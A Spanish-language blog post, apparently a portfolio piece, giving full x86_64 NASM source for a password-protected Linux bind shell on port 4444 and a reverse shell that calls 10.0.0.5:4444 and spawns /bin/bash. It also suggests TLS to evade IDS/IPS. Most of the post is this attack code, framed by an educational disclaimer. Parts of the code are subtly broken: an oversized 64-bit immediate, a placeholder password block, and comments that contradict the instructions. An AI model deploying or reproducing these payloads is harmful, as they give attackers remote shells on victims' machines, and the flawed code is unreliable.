Low-Level Network Payloads: Bind & Reverse Shell (x86_64 Assembly)

author
By admin
20 de marzo de 2026
image

Desarrollo de Software (Security Tooling)


Creación de un Bind Shell funcional para entornos Linux utilizando NASM y llamadas directas al sistema (Syscalls).


Nota de Ética: Este proyecto tiene fines estrictamente educativos y de investigación en seguridad. Fue desarrollado para profundizar en la arquitectura de sistemas y el funcionamiento interno de Linux.


Si a tu Bind Shell le añadieras SSL/TLS, estaríamos hablando de Evasión de IDS/IPS y Cifrado de Tráfico, sí, con técnicas de cifrado se puede 'camuflar', pero eso ya es otro nivel de técnicas de seguridad ofensiva.


Programación en Assembly (x86_64): Manejo de registros (rax, rdi, rsi, rdx), gestión de la pila (Stack) y control de secuencia.

Implementación manual de sockets (AF_INET/TCP), manejo de direcciones IP en formato hexadecimal/endianness y redirección de descriptores de archivo (dup2).

Lógica de Seguridad: Implementación de un sistema de autenticación por contraseña mediante comparación de memoria (cmpsb) previo al acceso de la terminal.

Optimización de Shellcode: Uso de técnicas para reducción de tamaño y eficiencia en el uso de registros (ej. cdq, xchg). y para evitar null bytes (común en desarrollo de exploits).


Herramientas:

NASM, GNU Linker (ld), GDB (depuración), Objdump.


Shell Root - linux_x64_auth_bindshell.asm


Código: Bind Shell x86_64 con Password

; Author: Ignacio

global _start
section .text
_start:

; int ipv4Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
	; rax = 0x29               ; rdi = 0x2  = AF_INET
	; rsi = 0x1  = SOCK_STREAM ; rdx = 0x0  = IPPROTO_IP
	
	mov rax, 0x29
	mov rdi, 0x02
	mov rsi, 0x01
	cdq				; rdx = 0 - ANY
	syscall				; RAX returns socket File-Descriptor

; bind(ipv4Socket, (struct sockaddr*) &ipSocketAddr, sizeof(ipSocketAddr)); 
	; rax = 0x31               	; rdi = 0x3  =  ipv4Socket
	; rsi = &ipSocketAddr      	; rdi = 0x10
	;          02 00 11 5c 00 00 00 00 00 00 00 00 00 00 00 00
	; Address-Family| PORT| IP Address| 8 bytes of zeros
	
	xchg rdi, rax    		; RDI = sockfd / ipv4Socket, save socket File-Descriptor
	xor rax, rax
	add al, 0x31     		; rax = 0x31 = socket syscall

; (struct sockaddr*) &ipSocketAddr
	push rdx         		; 8 bytes of zeros for second half of struct
	;push rdx			; 0.0.0.0 , 0.0.0.0
	push dx          		; 4 bytes of zeros for IPADDR_ANY
	push dword 0x00000000		; 4 bytes, 0.0.0.0 
	;push dx          		; 4 bytes of zeros for IPADDR_ANY
	push word 0x5c11 		; push 2 bytes for TCP Port 4444
	mov rdx, 0x02			; rdx = 0x2 ; dx = 0x0002
	push dx          		; 0x2 = AF_INET
	add dl, 0xe      		; rdi = 0x14 = sizeof(ipSocketAddr)
	mov rsi, rsp     		; rsi = &ipSocketAddr
	syscall

; int listen(int sockfd, int backlog);
	; rax = 0x32   = listen syscall
	; rdi = sockfd = 0x3 = ipv4Socket   ; rsi = backlog = 0
	xor rax, rax
	add al, 0x32     		; listen syscall
	xor rsi, rsi     		; backlog = 0x0
	syscall

;accept
	; rax = 0x2b 			; rdi = sockfd  = 0x3 = ipv4Socket
	; rsi = 0x0  			; rdx = 0x0
	xor rax, rax
	mov rdx, 0x0
	mov rsi, 0x0
	add al, 0x2b  			; accept syscall
	syscall       			; accept returns client socket file-descriptor in RAX

; dup2
	xchg rdi, rax    		; RDI = sockfd / ClientSocketFD
	xor rsi, rsi
	add dl, 0x3      		; Loop Counter
dup2Loop:
	xor rax, rax
	add al, 0x21     		; RAX = 0x21 = dup2 systemcall
	syscall          		; call dup2 x3 to redirect STDIN STDOUT STDERR
	inc rsi
	cmp rsi, rdx     		; if 2-STDERR, end loop
	jne dup2Loop			; On success, return the new file descriptor

	jmp short password

failer:
	; write
	; rax = 0x1     ; rdi = fd = 0x1 STDOUT
	; rsi = &String ; rdx = sizeof(String)
	; String = "REALLY?!"
	;  !?YLLAER : 213f594c4c414552
	xor rdi, rdi
	mul rdi
	push rdi
	pop rsi
	push rsi
	mov rsi, 0x213f594c4c414552
	push rsi
	mov rsi, rsp    ; rsi = &String
	inc rax         ; rax = 0x1 = write system call
	mov rdi, rax
	add rdx, 16     ; 16 bytes / size of string
	syscall

password:
	; write
	; rax = 0x1     ; rdi = fd = 0x1 STDOUT
	; rsi = &String ; rdx = sizeof(String)
	; String = "M@G1C WOrDz IZ??"
	;  ??ZI zDr : 3f3f5a49207a4472
	;  OW C1G@M : 4f5720433147404d
	xor rdi, rdi
	mul rdi
	push rdi
	pop rsi
	push rsi
	mov rsi, 0x3f3f5a49207a4472 ; ??ZI zDr
	push rsi
	mov rsi, 0x4f5720433147404d ; OW C1G@M 
	push rsi
	mov rsi, rsp    ; rsi = &String
	inc rax         ; rax = 0x1 = write system call
	mov rdi, rax
	add rdx, 16     ; 16 bytes / size of string
	syscall

	; read
	; rax = 0x0 = read syscall ; rdi = fd = 0x0 STDIN
	; rsi = Write to &String   ; rdx = 0x12 = sizeof(String)
	xor rdi, rdi
	push rdi
	mul rdi         ; rdx =0x0 ; rax = 0x0 = write system call
	mov rsi, rsp    ; rsi = [RSP] = &String
	add rdx, 12     ; 12 bytes / size of password
	syscall

	; String = P3WP3Wl4ZerZ
	;  ZreZ : 5a72655a
	;  4lW3PW3P : 346c573350573350
	mov rdi, rsp
	xor rsi, rsi
	add rsi, 0x5a72655a
	push rsi
	mov rsi, 0x346c573350573350
	push rsi
	mov rsi, rsp    ; rsi = &String
	xor rcx, rcx
	add rcx, 0xB
	repe cmpsb
	jnz failer

;execve
	; rax = 0x3b ; rdi = Pointer -> "/bin/bash"0x00
	; rsi = 0x0  ; rdx = 0x0
	; "/bin/bash"
	;  h : 68
	;  sab/nib/ : 7361622f6e69622f
	xor rsi, rsi
	mul rsi          ; rdx&rax= 0x0
	xor rdi, rdi
	push rdi
	add rdx, 0x68 ; "h"
	push rdx
	mov rdx, 0x7361622f6e69622f ; "/bin/bas"
	push rdx
	xor rdx, rdx
	mov rdi, rsp
	mov al, 0x3b ; execve syscall
	syscall  ; call execve("/bin/bash", NULL, NULL)


Código: Reverse Shell x86_64 con Password

; Author: Ignacio - Reverse Shell Edition
; Esta versión "llama" a una IP específica (ej: 10.0.0.5)

global _start
section .text
_start:

; 1. socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    mov rax, 0x29
    mov rdi, 0x02
    mov rsi, 0x01
    cdq                ; rdx = 0
    syscall
    xchg rdi, rax      ; RDI = sockfd (nuestro socket para conectar)

; 2. connect(sockfd, (struct sockaddr*) &serv_addr, addrlen)
    ; rax = 0x2a (connect)
    ; rsi = struct sockaddr
    push rdx           ; 8 bytes de padding ceros
    push dword 0x0500000a ; IP DESTINO: 10.0.0.5 (Ajusta aquí tu IP en hex)
    push word 0x5c11   ; PUERTO: 4444
    push word 0x02     ; AF_INET
    mov rsi, rsp       ; Apuntamos RSI a la estructura en el stack
    mov rdx, 16        ; addrlen = 16
    mov rax, 0x2a      ; syscall connect
    syscall

; 3. dup2 (Redirigir STDIN, STDOUT, STDERR al socket)
    xor rsi, rsi
    mov rdx, 0x3       ; Loop para 0, 1, 2
dup2Loop:
    mov rax, 0x21      ; syscall dup2
    syscall
    inc rsi
    cmp rsi, rdx
    jne dup2Loop

; --- De aquí en adelante sigue tu lógica de Password ---
password:
    ; (Tu bloque original de "M@G1C WOrDz IZ??" y validación "P3WP3Wl4ZerZ")
    ; ... (Insertar aquí tu bloque de 'write', 'read' y 'repe cmpsb') ...

; 4. execve("/bin/bash", NULL, NULL)
    xor rsi, rsi
    push rsi
    mov rbx, 0x687361622f6e69622f ; "/bin/bash" al revés
    push rbx
    mov rdi, rsp
    cdq                ; rdx = 0
    mov al, 0x3b       ; syscall execve
    syscall


Análisis estático del binario mediante Radare2. Se observa la secuencia de control de la rutina de autenticación y las llamadas directas a syscalls de red, optimizadas para evitar null bytes.


 
Share this post :

Subscribe to receive future updates

Lorem ipsum dolor sited Sed ullam corper consectur adipiscing Mae ornare massa quis lectus.

No spam guaranteed, So please don’t send any spam mail.